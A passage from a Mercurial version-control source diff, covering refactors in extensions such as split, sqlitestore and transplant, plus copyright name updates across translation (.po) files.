orig(repo, source, revmap, trp, expectedfiles, *args, **kwargs) newfiles = 0 visited = set() @@ -272,7 +288,7 @@ revisiondata = revisiondatas[(f, node)] # revisiondata: (node, p1, p2, cs, deltabase, delta, flags) - node, p1, p2, linknode, deltabase, delta, flags = revisiondata + node, p1, p2, linknode, deltabase, delta, flags, sidedata = revisiondata if not available(f, node, f, deltabase): continue diff -r bc268ea9f984 -r f67b8946bb1b hgext/schemes.py --- a/hgext/schemes.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/schemes.py Tue Apr 20 11:01:06 2021 -0400 @@ -52,7 +52,9 @@ pycompat, registrar, templater, - util, +) +from mercurial.utils import ( + urlutil, ) cmdtable = {} @@ -86,7 +88,7 @@ ) def resolve(self, url): - # Should this use the util.url class, or is manual parsing better? + # Should this use the urlutil.url class, or is manual parsing better? try: url = url.split(b'://', 1)[1] except IndexError: @@ -137,7 +139,7 @@ ) hg.schemes[scheme] = ShortRepository(url, scheme, t) - extensions.wrapfunction(util, b'hasdriveletter', hasdriveletter) + extensions.wrapfunction(urlutil, b'hasdriveletter', hasdriveletter) @command(b'debugexpandscheme', norepo=True) diff -r bc268ea9f984 -r f67b8946bb1b hgext/share.py --- a/hgext/share.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/share.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,4 +1,4 @@ -# Copyright 2006, 2007 Matt Mackall +# Copyright 2006, 2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b hgext/split.py --- a/hgext/split.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/split.py Tue Apr 20 11:01:06 2021 -0400 @@ -12,7 +12,7 @@ from mercurial.i18n import _ from mercurial.node import ( - nullid, + nullrev, short, ) @@ -27,6 +27,7 @@ revsetlang, rewriteutil, scmutil, + util, ) # allow people to use split without explicitly enabling rebase extension @@ -69,57 +70,62 @@ if opts.get(b'rev'): revlist.append(opts.get(b'rev')) revlist.extend(revs) - with repo.wlock(), repo.lock(), repo.transaction(b'split') as tr: - revs = scmutil.revrange(repo, revlist or [b'.']) - if len(revs) > 1: - raise error.InputError(_(b'cannot split multiple revisions')) + with repo.wlock(), repo.lock(): + tr = repo.transaction(b'split') + # If the rebase somehow runs into conflicts, make sure + # we close the transaction so the user can continue it. + with util.acceptintervention(tr): + revs = scmutil.revrange(repo, revlist or [b'.']) + if len(revs) > 1: + raise error.InputError(_(b'cannot split multiple revisions')) - rev = revs.first() - ctx = repo[rev] - # Handle nullid specially here (instead of leaving for precheck() - # below) so we get a nicer message and error code. - if rev is None or ctx.node() == nullid: - ui.status(_(b'nothing to split\n')) - return 1 - if ctx.node() is None: - raise error.InputError(_(b'cannot split working directory')) + rev = revs.first() + # Handle nullrev specially here (instead of leaving for precheck() + # below) so we get a nicer message and error code. + if rev is None or rev == nullrev: + ui.status(_(b'nothing to split\n')) + return 1 + ctx = repo[rev] + if ctx.node() is None: + raise error.InputError(_(b'cannot split working directory')) - if opts.get(b'rebase'): - # Skip obsoleted descendants and their descendants so the rebase - # won't cause conflicts for sure. - descendants = list(repo.revs(b'(%d::) - (%d)', rev, rev)) - torebase = list( - repo.revs( - b'%ld - (%ld & obsolete())::', descendants, descendants + if opts.get(b'rebase'): + # Skip obsoleted descendants and their descendants so the rebase + # won't cause conflicts for sure. + descendants = list(repo.revs(b'(%d::) - (%d)', rev, rev)) + torebase = list( + repo.revs( + b'%ld - (%ld & obsolete())::', descendants, descendants + ) ) - ) - else: - torebase = [] - rewriteutil.precheck(repo, [rev] + torebase, b'split') + else: + torebase = [] + rewriteutil.precheck(repo, [rev] + torebase, b'split') - if len(ctx.parents()) > 1: - raise error.InputError(_(b'cannot split a merge changeset')) + if len(ctx.parents()) > 1: + raise error.InputError(_(b'cannot split a merge changeset')) - cmdutil.bailifchanged(repo) + cmdutil.bailifchanged(repo) - # Deactivate bookmark temporarily so it won't get moved unintentionally - bname = repo._activebookmark - if bname and repo._bookmarks[bname] != ctx.node(): - bookmarks.deactivate(repo) + # Deactivate bookmark temporarily so it won't get moved + # unintentionally + bname = repo._activebookmark + if bname and repo._bookmarks[bname] != ctx.node(): + bookmarks.deactivate(repo) - wnode = repo[b'.'].node() - top = None - try: - top = dosplit(ui, repo, tr, ctx, opts) - finally: - # top is None: split failed, need update --clean recovery. - # wnode == ctx.node(): wnode split, no need to update. - if top is None or wnode != ctx.node(): - hg.clean(repo, wnode, show_stats=False) - if bname: - bookmarks.activate(repo, bname) - if torebase and top: - dorebase(ui, repo, torebase, top) + wnode = repo[b'.'].node() + top = None + try: + top = dosplit(ui, repo, tr, ctx, opts) + finally: + # top is None: split failed, need update --clean recovery. + # wnode == ctx.node(): wnode split, no need to update. + if top is None or wnode != ctx.node(): + hg.clean(repo, wnode, show_stats=False) + if bname: + bookmarks.activate(repo, bname) + if torebase and top: + dorebase(ui, repo, torebase, top) def dosplit(ui, repo, tr, ctx, opts): @@ -165,19 +171,26 @@ b'message': header + ctx.description(), } ) + origctx = repo[b'.'] commands.commit(ui, repo, **pycompat.strkwargs(opts)) newctx = repo[b'.'] - committed.append(newctx) + # Ensure user didn't do a "no-op" split (such as deselecting + # everything). + if origctx.node() != newctx.node(): + committed.append(newctx) if not committed: raise error.InputError(_(b'cannot split an empty revision')) - scmutil.cleanupnodes( - repo, - {ctx.node(): [c.node() for c in committed]}, - operation=b'split', - fixphase=True, - ) + if len(committed) != 1 or committed[0].node() != ctx.node(): + # Ensure we don't strip a node if we produce the same commit as already + # exists + scmutil.cleanupnodes( + repo, + {ctx.node(): [c.node() for c in committed]}, + operation=b'split', + fixphase=True, + ) return committed[-1] diff -r bc268ea9f984 -r f67b8946bb1b hgext/sqlitestore.py --- a/hgext/sqlitestore.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/sqlitestore.py Tue Apr 20 11:01:06 2021 -0400 @@ -54,6 +54,7 @@ from mercurial.node import ( nullid, nullrev, + sha1nodeconstants, short, ) from mercurial.thirdparty import attr @@ -288,6 +289,7 @@ baserevisionsize = attr.ib() revision = attr.ib() delta = attr.ib() + sidedata = attr.ib() linknode = attr.ib(default=None) @@ -304,6 +306,7 @@ """Implements storage for an individual tracked path.""" def __init__(self, db, path, compression): + self.nullid = sha1nodeconstants.nullid self._db = db self._path = path @@ -586,6 +589,7 @@ revisiondata=False, assumehaveparentrevisions=False, deltamode=repository.CG_DELTAMODE_STD, + sidedata_helpers=None, ): if nodesorder not in (b'nodes', b'storage', b'linear', None): raise error.ProgrammingError( @@ -624,6 +628,7 @@ revisiondata=revisiondata, assumehaveparentrevisions=assumehaveparentrevisions, deltamode=deltamode, + sidedata_helpers=sidedata_helpers, ): yield delta @@ -636,7 +641,8 @@ if meta or filedata.startswith(b'\x01\n'): filedata = storageutil.packmeta(meta, filedata) - return self.addrevision(filedata, transaction, linkrev, p1, p2) + rev = self.addrevision(filedata, transaction, linkrev, p1, p2) + return self.node(rev) def addrevision( self, @@ -658,15 +664,16 @@ if validatehash: self._checkhash(revisiondata, node, p1, p2) - if node in self._nodetorev: - return node + rev = self._nodetorev.get(node) + if rev is not None: + return rev - node = self._addrawrevision( + rev = self._addrawrevision( node, revisiondata, transaction, linkrev, p1, p2 ) self._revisioncache[node] = revisiondata - return node + return rev def addgroup( self, @@ -679,7 +686,16 @@ ): empty = True - for node, p1, p2, linknode, deltabase, delta, wireflags in deltas: + for ( + node, + p1, + p2, + linknode, + deltabase, + delta, + wireflags, + sidedata, + ) in deltas: storeflags = 0 if wireflags & repository.REVISION_FLAG_CENSORED: @@ -741,7 +757,7 @@ ) if duplicaterevisioncb: - duplicaterevisioncb(self, node) + duplicaterevisioncb(self, self.rev(node)) empty = False continue @@ -752,7 +768,7 @@ text = None storedelta = (deltabase, delta) - self._addrawrevision( + rev = self._addrawrevision( node, text, transaction, @@ -764,7 +780,7 @@ ) if addrevisioncb: - addrevisioncb(self, node) + addrevisioncb(self, rev) empty = False return not empty @@ -897,6 +913,10 @@ def files(self): return [] + def sidedata(self, nodeorrev, _df=None): + # Not supported for now + return {} + def storageinfo( self, exclusivefiles=False, @@ -1079,7 +1099,7 @@ self._revtonode[rev] = node self._revisions[node] = entry - return node + return rev class sqliterepository(localrepo.localrepository): diff -r bc268ea9f984 -r f67b8946bb1b hgext/transplant.py --- a/hgext/transplant.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/transplant.py Tue Apr 20 11:01:06 2021 -0400 @@ -47,6 +47,7 @@ from mercurial.utils import ( procutil, stringutil, + urlutil, ) @@ -818,7 +819,8 @@ sourcerepo = opts.get(b'source') if sourcerepo: - peer = hg.peer(repo, opts, ui.expandpath(sourcerepo)) + u = urlutil.get_unique_pull_path(b'transplant', repo, ui, sourcerepo)[0] + peer = hg.peer(repo, opts, u) heads = pycompat.maplist(peer.lookup, opts.get(b'branch', ())) target = set(heads) for r in revs: diff -r bc268ea9f984 -r f67b8946bb1b hgext/uncommit.py --- a/hgext/uncommit.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/uncommit.py Tue Apr 20 11:01:06 2021 -0400 @@ -175,7 +175,7 @@ old = repo[b'.'] rewriteutil.precheck(repo, [old.rev()], b'uncommit') if len(old.parents()) > 1: - raise error.Abort(_(b"cannot uncommit merge changeset")) + raise error.InputError(_(b"cannot uncommit merge changeset")) match = scmutil.match(old, pats, opts) @@ -202,7 +202,7 @@ else: hint = _(b"file does not exist") - raise error.Abort( + raise error.InputError( _(b'cannot uncommit "%s"') % scmutil.getuipathfn(repo)(f), hint=hint, ) @@ -280,7 +280,7 @@ markers = list(predecessormarkers(curctx)) if len(markers) != 1: e = _(b"changeset must have one predecessor, found %i predecessors") - raise error.Abort(e % len(markers)) + raise error.InputError(e % len(markers)) prednode = markers[0].prednode() predctx = unfi[prednode] diff -r bc268ea9f984 -r f67b8946bb1b hgext/win32text.py --- a/hgext/win32text.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/win32text.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # win32text.py - LF <-> CRLF/CR translation utilities for Windows/Mac users # -# Copyright 2005, 2007-2009 Matt Mackall and others +# Copyright 2005, 2007-2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b hgext/zeroconf/__init__.py --- a/hgext/zeroconf/__init__.py Thu Mar 25 19:06:28 2021 -0400 +++ b/hgext/zeroconf/__init__.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # zeroconf.py - zeroconf support for Mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b i18n/da.po --- a/i18n/da.po Thu Mar 25 19:06:28 2021 -0400 +++ b/i18n/da.po Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # Danish translations for Mercurial # Danske oversættelser for Mercurial -# Copyright (C) 2009, 2010 Matt Mackall and others +# Copyright (C) 2009, 2010 Olivia Mackall and others # # Translation dictionary: # @@ -11359,11 +11359,11 @@ msgstr "(se http://mercurial.selenic.com for mere information)" msgid "" -"Copyright (C) 2005-2011 Matt Mackall and others\n" +"Copyright (C) 2005-2011 Olivia Mackall and others\n" "This is free software; see the source for copying conditions. There is NO\n" "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n" msgstr "" -"Copyright (C) 2005-2011 Matt Mackall og andre\n" +"Copyright (C) 2005-2011 Olivia Mackall og andre\n" "Dette er frit programmel; se kildekoden for kopieringsbetingelser. Der\n" "gives INGEN GARANTI; ikke engang for SALGBARHED eller EGNETHED FOR\n" "NOGET BESTEMT FORMÅL.\n" diff -r bc268ea9f984 -r f67b8946bb1b i18n/de.po --- a/i18n/de.po Thu Mar 25 19:06:28 2021 -0400 +++ b/i18n/de.po Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # German translations for Mercurial # Deutsche Übersetzungen für Mercurial -# Copyright (C) 2009 Matt Mackall and others +# Copyright (C) 2009 Olivia Mackall and others # # Übersetzer: # Tobias Bell @@ -14536,11 +14536,11 @@ msgstr "(siehe http://mercurial.selenic.com für mehr Information)" msgid "" -"Copyright (C) 2005-2014 Matt Mackall and others\n" +"Copyright (C) 2005-2014 Olivia Mackall and others\n" "This is free software; see the source for copying conditions. There is NO\n" "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n" msgstr "" -"Copyright (C) 2005-2014 Matt Mackall und andere\n" +"Copyright (C) 2005-2014 Olivia Mackall und andere\n" "Dies ist freie Software; siehe Quellen für Kopierbestimmungen. Es besteht\n" "KEINE Gewährleistung für das Programm, nicht einmal der Marktreife oder der\n" "Verwendbarkeit für einen bestimmten Zweck.\n" @@ -18893,7 +18893,7 @@ msgstr "" msgid "" -":Author: Matt Mackall \n" +":Author: Olivia Mackall \n" ":Organization: Mercurial\n" ":Manual section: 1\n" ":Manual group: Mercurial Manual" @@ -19032,7 +19032,7 @@ msgid "" "Author\n" "\"\"\"\"\"\"\n" -"Written by Matt Mackall " +"Written by Olivia Mackall " msgstr "" msgid "" @@ -19050,7 +19050,7 @@ msgid "" "Copying\n" "\"\"\"\"\"\"\"\n" -"Copyright (C) 2005-2014 Matt Mackall.\n" +"Copyright (C) 2005-2014 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" @@ -19088,7 +19088,7 @@ "Vadim Gelfer " msgstr "" -msgid "Mercurial was written by Matt Mackall ." +msgid "Mercurial was written by Olivia Mackall ." msgstr "" msgid "" @@ -19101,7 +19101,7 @@ "Copying\n" "=======\n" "This manual page is copyright 2006 Vadim Gelfer.\n" -"Mercurial is copyright 2005-2014 Matt Mackall.\n" +"Mercurial is copyright 2005-2014 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" @@ -19307,7 +19307,7 @@ "Copying\n" "=======\n" "This manual page is copyright 2005 Bryan O'Sullivan.\n" -"Mercurial is copyright 2005-2014 Matt Mackall.\n" +"Mercurial is copyright 2005-2014 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" diff -r bc268ea9f984 -r f67b8946bb1b i18n/el.po --- a/i18n/el.po Thu Mar 25 19:06:28 2021 -0400 +++ b/i18n/el.po Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # Greek translations for Mercurial # Ελληνική μετάφραση των μηνυμάτων του Mercurial # -# Copyright (C) 2009 Matt Mackall και άλλοι +# Copyright (C) 2009 Olivia Mackall και άλλοι # msgid "" msgstr "" @@ -7606,12 +7606,12 @@ msgid "" "\n" -"Copyright (C) 2005-2010 Matt Mackall and others\n" +"Copyright (C) 2005-2010 Olivia Mackall and others\n" "This is free software; see the source for copying conditions. There is NO\n" "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n" msgstr "" "\n" -"Πνευματικά δικαιώματα (C) 2005-2009 Matt Mackall και άλλοι\n" +"Πνευματικά δικαιώματα (C) 2005-2009 Olivia Mackall και άλλοι\n" "Αυτό το πρόγραμμα είναι ελεύθερο λογισμικό· δείτε τον πηγαίο κώδικα για\n" "την άδεια χρήσης του. Δεν παρέχεται ΚΑΜΙΑ εγγύηση· ούτε καν για την\n" "ΕΜΠΟΡΕΥΣΙΜΟΤΗΤΑ ή την ΚΑΤΑΛΛΗΛΟΤΗΤΑ ΓΙΑ ΚΑΠΟΙΟ ΣΚΟΠΟ.\n" diff -r bc268ea9f984 -r f67b8946bb1b i18n/fr.po --- a/i18n/fr.po Thu Mar 25 19:06:28 2021 -0400 +++ b/i18n/fr.po Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # French translations for Mercurial # Traductions françaises de Mercurial -# Copyright (C) 2009 Matt Mackall and others +# Copyright (C) 2009 Olivia Mackall and others # # Quelques règles : # - dans l'aide d'une commande, la première ligne descriptive @@ -9412,7 +9412,7 @@ msgid "" "\n" -"Copyright (C) 2005-2010 Matt Mackall and others\n" +"Copyright (C) 2005-2010 Olivia Mackall and others\n" "This is free software; see the source for copying conditions. There is NO\n" "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n" msgstr "" diff -r bc268ea9f984 -r f67b8946bb1b i18n/hggettext --- a/i18n/hggettext Thu Mar 25 19:06:28 2021 -0400 +++ b/i18n/hggettext Tue Apr 20 11:01:06 2021 -0400 @@ -2,7 +2,7 @@ # # hggettext - carefully extract docstrings for Mercurial # -# Copyright 2009 Matt Mackall and others +# Copyright 2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b i18n/it.po --- a/i18n/it.po Thu Mar 25 19:06:28 2021 -0400 +++ b/i18n/it.po Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # Italian translations for Mercurial # Traduzione italiana per Mercurial -# Copyright (C) 2009 Matt Mackall and others +# Copyright (C) 2009 Olivia Mackall and others msgid "" msgstr "" "Project-Id-Version: Mercurial\n" @@ -8881,11 +8881,11 @@ msgstr "" msgid "" -"Copyright (C) 2005-2011 Matt Mackall and others\n" +"Copyright (C) 2005-2011 Olivia Mackall and others\n" "This is free software; see the source for copying conditions. There is NO\n" "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n" msgstr "" -"Copyright (C) 2005-2011 Matt Mackall e altri\n" +"Copyright (C) 2005-2011 Olivia Mackall e altri\n" "Questo è software libero; vedere i sorgenti per le condizioni di copia.\n" "Non c'è ALCUNA garanzia; neppure di COMMERCIABILITÀ o IDONEITÀ AD UNO\n" "SCOPO PARTICOLARE.\n" diff -r bc268ea9f984 -r f67b8946bb1b i18n/ja.po --- a/i18n/ja.po Thu Mar 25 19:06:28 2021 -0400 +++ b/i18n/ja.po Tue Apr 20 11:01:06 2021 -0400 @@ -18771,11 +18771,11 @@ msgstr "(詳細は https://mercurial-scm.org を参照)" msgid "" -"Copyright (C) 2005-2018 Matt Mackall and others\n" +"Copyright (C) 2005-2018 Olivia Mackall and others\n" "This is free software; see the source for copying conditions. There is NO\n" "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n" msgstr "" -"Copyright (C) 2005-2018 Matt Mackall and others\n" +"Copyright (C) 2005-2018 Olivia Mackall and others\n" "本製品はフリーソフトウェアです。\n" "頒布条件に関しては同梱されるライセンス条項をお読みください。\n" "市場適合性や特定用途への可否を含め、 本製品は無保証です。\n" @@ -30239,11 +30239,11 @@ msgid "" "Author\n" "\"\"\"\"\"\"\n" -"Written by Matt Mackall " +"Written by Olivia Mackall " msgstr "" "著者\n" "\"\"\"\"\n" -"Matt Mackall " +"Olivia Mackall " msgid "" "Resources\n" @@ -30264,13 +30264,13 @@ msgid "" "Copying\n" "\"\"\"\"\"\"\"\n" -"Copyright (C) 2005-2016 Matt Mackall.\n" +"Copyright (C) 2005-2016 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" "Copying\n" "\"\"\"\"\"\"\"\n" -"Copyright (C) 2005-2016 Matt Mackall.\n" +"Copyright (C) 2005-2016 Olivia Mackall.\n" "本ソフトウェアは、 バージョン2またはそれ以降の GNU General\n" "Public License の元での自由な利用が保証されています。" @@ -30293,12 +30293,12 @@ "----------------------------------" msgid "" -":Author: Matt Mackall \n" +":Author: Olivia Mackall \n" ":Organization: Mercurial\n" ":Manual section: 1\n" ":Manual group: Mercurial Manual" msgstr "" -":Author: Matt Mackall \n" +":Author: Olivia Mackall \n" ":Organization: Mercurial\n" ":Manual section: 1\n" ":Manual group: Mercurial Manual" @@ -30471,13 +30471,13 @@ msgid "" "Copying\n" "\"\"\"\"\"\"\"\n" -"Copyright (C) 2005-2018 Matt Mackall.\n" +"Copyright (C) 2005-2018 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" "Copying\n" "\"\"\"\"\"\"\"\n" -"Copyright (C) 2005-2016 Matt Mackall.\n" +"Copyright (C) 2005-2016 Olivia Mackall.\n" "本ソフトウェアは、 バージョン2またはそれ以降の GNU General\n" "Public License の元での自由な利用が保証されています。" @@ -30519,8 +30519,8 @@ "====\n" "本マニュアルページの著者は Vadim Gelfer です。" -msgid "Mercurial was written by Matt Mackall ." -msgstr "Mercurial の著者は Matt Mackall です。" +msgid "Mercurial was written by Olivia Mackall ." +msgstr "Mercurial の著者は Olivia Mackall です。" msgid "" "See Also\n" @@ -30536,14 +30536,14 @@ "Copying\n" "=======\n" "This manual page is copyright 2006 Vadim Gelfer.\n" -"Mercurial is copyright 2005-2018 Matt Mackall.\n" +"Mercurial is copyright 2005-2018 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" "Copying\n" "=======\n" "本マニュアルページの著作権は copyright 2006 Vadim Gelfer です。\n" -"Mercurial の著作権は copyright 2005-2017 Matt Mackall です。\n" +"Mercurial の著作権は copyright 2005-2017 Olivia Mackall です。\n" "本ソフトウェアは、 バージョン2またはそれ以降の GNU General\n" "Public License の元での自由な利用が保証されています。" @@ -30825,14 +30825,14 @@ "Copying\n" "=======\n" "This manual page is copyright 2005 Bryan O'Sullivan.\n" -"Mercurial is copyright 2005-2018 Matt Mackall.\n" +"Mercurial is copyright 2005-2018 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" "Copying\n" "=======\n" "本マニュアルの著作権は copyright 2005 Bryan O'Sullivan です。\n" -"Mercurial の著作権は copyright 2005-2017 Matt Mackall です。\n" +"Mercurial の著作権は copyright 2005-2017 Olivia Mackall です。\n" "本ソフトウェアは、 バージョン2またはそれ以降の GNU General\n" "Public License の元での自由な利用が保証されています。" @@ -39790,13 +39790,13 @@ #~ msgid "" #~ "Copying\n" #~ "\"\"\"\"\"\"\"\n" -#~ "Copyright (C) 2005-2017 Matt Mackall.\n" +#~ "Copyright (C) 2005-2017 Olivia Mackall.\n" #~ "Free use of this software is granted under the terms of the GNU General\n" #~ "Public License version 2 or any later version." #~ msgstr "" #~ "Copying\n" #~ "\"\"\"\"\"\"\"\n" -#~ "Copyright (C) 2005-2017 Matt Mackall.\n" +#~ "Copyright (C) 2005-2017 Olivia Mackall.\n" #~ "本ソフトウェアは、 バージョン2またはそれ以降の GNU General\n" #~ "Public License の元での自由な利用が保証されています。" diff -r bc268ea9f984 -r f67b8946bb1b i18n/pt_BR.po --- a/i18n/pt_BR.po Thu Mar 25 19:06:28 2021 -0400 +++ b/i18n/pt_BR.po Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # Brazilian Portuguese translations for Mercurial # Traduções do Mercurial para português do Brasil -# Copyright (C) 2011 Matt Mackall and others +# Copyright (C) 2011 Olivia Mackall and others # # Translators: # Diego Oliveira @@ -19269,11 +19269,11 @@ msgstr "(veja https://mercurial-scm.org para mais informações)" msgid "" -"Copyright (C) 2005-2018 Matt Mackall and others\n" +"Copyright (C) 2005-2018 Olivia Mackall and others\n" "This is free software; see the source for copying conditions. There is NO\n" "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n" msgstr "" -"Copyright (C) 2005-2018 Matt Mackall e outros\n" +"Copyright (C) 2005-2018 Olivia Mackall e outros\n" "Este software é livre; veja os fontes para condições de cópia. Não\n" "há garantias, nem mesmo de adequação para qualquer propósito em\n" "particular.\n" @@ -31340,11 +31340,11 @@ msgid "" "Author\n" "\"\"\"\"\"\"\n" -"Written by Matt Mackall " +"Written by Olivia Mackall " msgstr "" "Autor\n" "\"\"\"\"\"\n" -"Escrito por Matt Mackall " +"Escrito por Olivia Mackall " msgid "" "Resources\n" @@ -31367,13 +31367,13 @@ msgid "" "Copying\n" "\"\"\"\"\"\"\"\n" -"Copyright (C) 2005-2016 Matt Mackall.\n" +"Copyright (C) 2005-2016 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" "Cópia\n" "\"\"\"\"\"\n" -"Copyright (C) 2005-2016 Matt Mackall.\n" +"Copyright (C) 2005-2016 Olivia Mackall.\n" "Garante-se livre uso deste software nos termos da licença\n" "GNU General Public License, versão 2 ou qualquer versão posterior." @@ -31396,12 +31396,12 @@ "----------------------------------------------------" msgid "" -":Author: Matt Mackall \n" +":Author: Olivia Mackall \n" ":Organization: Mercurial\n" ":Manual section: 1\n" ":Manual group: Mercurial Manual" msgstr "" -":Author: Matt Mackall \n" +":Author: Olivia Mackall \n" ":Organization: Mercurial\n" ":Manual section: 1\n" ":Manual group: Mercurial Manual" @@ -31581,13 +31581,13 @@ msgid "" "Copying\n" "\"\"\"\"\"\"\"\n" -"Copyright (C) 2005-2018 Matt Mackall.\n" +"Copyright (C) 2005-2018 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" "Cópia\n" "\"\"\"\"\"\n" -"Copyright (C) 2005-2018 Matt Mackall.\n" +"Copyright (C) 2005-2018 Olivia Mackall.\n" "Garante-se livre uso deste software nos termos da licença\n" "GNU General Public License, versão 2 ou qualquer versão posterior." @@ -31629,8 +31629,8 @@ "=====\n" "Vadim Gelfer " -msgid "Mercurial was written by Matt Mackall ." -msgstr "Mercurial foi escrito por Matt Mackall ." +msgid "Mercurial was written by Olivia Mackall ." +msgstr "Mercurial foi escrito por Olivia Mackall ." msgid "" "See Also\n" @@ -31645,14 +31645,14 @@ "Copying\n" "=======\n" "This manual page is copyright 2006 Vadim Gelfer.\n" -"Mercurial is copyright 2005-2018 Matt Mackall.\n" +"Mercurial is copyright 2005-2018 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" "Cópia\n" "=====\n" "Esta página de manual: copyright 2006 Vadim Gelfer.\n" -"Mercurial: copyright 2005-2018 Matt Mackall.\n" +"Mercurial: copyright 2005-2018 Olivia Mackall.\n" "Garante-se livre uso deste software nos termos da licença\n" "GNU General Public License, versão 2 ou qualquer versão posterior." @@ -31928,14 +31928,14 @@ "Copying\n" "=======\n" "This manual page is copyright 2005 Bryan O'Sullivan.\n" -"Mercurial is copyright 2005-2018 Matt Mackall.\n" +"Mercurial is copyright 2005-2018 Olivia Mackall.\n" "Free use of this software is granted under the terms of the GNU General\n" "Public License version 2 or any later version." msgstr "" "Cópia\n" "=====\n" "Esta página de manual: copyright 2005 Bryan O'Sullivan.\n" -"Mercurial: copyright 2005-2018 Matt Mackall.\n" +"Mercurial: copyright 2005-2018 Olivia Mackall.\n" "Garante-se livre uso deste software nos termos da licença\n" "GNU General Public License, versão 2 ou qualquer versão posterior." @@ -41308,13 +41308,13 @@ #~ msgid "" #~ "Copying\n" #~ "\"\"\"\"\"\"\"\n" -#~ "Copyright (C) 2005-2017 Matt Mackall.\n" +#~ "Copyright (C) 2005-2017 Olivia Mackall.\n" #~ "Free use of this software is granted under the terms of the GNU General\n" #~ "Public License version 2 or any later version." #~ msgstr "" #~ "Cópia\n" #~ "\"\"\"\"\"\n" -#~ "Copyright (C) 2005-2017 Matt Mackall.\n" +#~ "Copyright (C) 2005-2017 Olivia Mackall.\n" #~ "Garante-se livre uso deste software nos termos da licença\n" #~ "GNU General Public License, versão 2 ou qualquer versão posterior." diff -r bc268ea9f984 -r f67b8946bb1b i18n/ro.po --- a/i18n/ro.po Thu Mar 25 19:06:28 2021 -0400 +++ b/i18n/ro.po Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # Romanian translation for Mercurial # Traducerea în limba română pentru Mercurial # -# Copyright (C) 2010 Matt Mackall and others +# Copyright (C) 2010 Olivia Mackall and others # # # Glosar de traduceri @@ -10032,11 +10032,11 @@ msgstr "(vezi http://mercurial.selenic.com pentru mai multe informații)" msgid "" -"Copyright (C) 2005-2011 Matt Mackall and others\n" +"Copyright (C) 2005-2011 Olivia Mackall and others\n" "This is free software; see the source for copying conditions. There is NO\n" "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n" msgstr "" -"Copyright (C) 2005-2011 Matt Mackall și alții\n" +"Copyright (C) 2005-2011 Olivia Mackall și alții\n" "Acesta este software liber; vezi sursa pentru condițiile de copiere.\n" "Nu există NICIO garanție; nici măcar pentru COMERCIALIZARE sau\n" "COMPATIBILITATE ÎN ANUMITE SCOPURI.\n" diff -r bc268ea9f984 -r f67b8946bb1b i18n/ru.po --- a/i18n/ru.po Thu Mar 25 19:06:28 2021 -0400 +++ b/i18n/ru.po Tue Apr 20 11:01:06 2021 -0400 @@ -1,5 +1,5 @@ # Russian translations for Mercurial package. -# Copyright (C) 2011 Matt Mackall and others +# Copyright (C) 2011 Olivia Mackall and others # This file is distributed under the same license as the Mercurial package. # === Glossary === # @@ -15590,11 +15590,11 @@ msgstr "(подробнее см. http://mercurial.selenic.com)" msgid "" -"Copyright (C) 2005-2014 Matt Mackall and others\n" +"Copyright (C) 2005-2014 Olivia Mackall and others\n" "This is free software; see the source for copying conditions. There is NO\n" "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n" msgstr "" -"(С) 2005-2014 Matt Mackall и другие.\n" +"(С) 2005-2014 Olivia Mackall и другие.\n" "Это свободное ПО; условия распространения см. в исходном коде.\n" "НИКАКИХ ГАРАНТИЙ 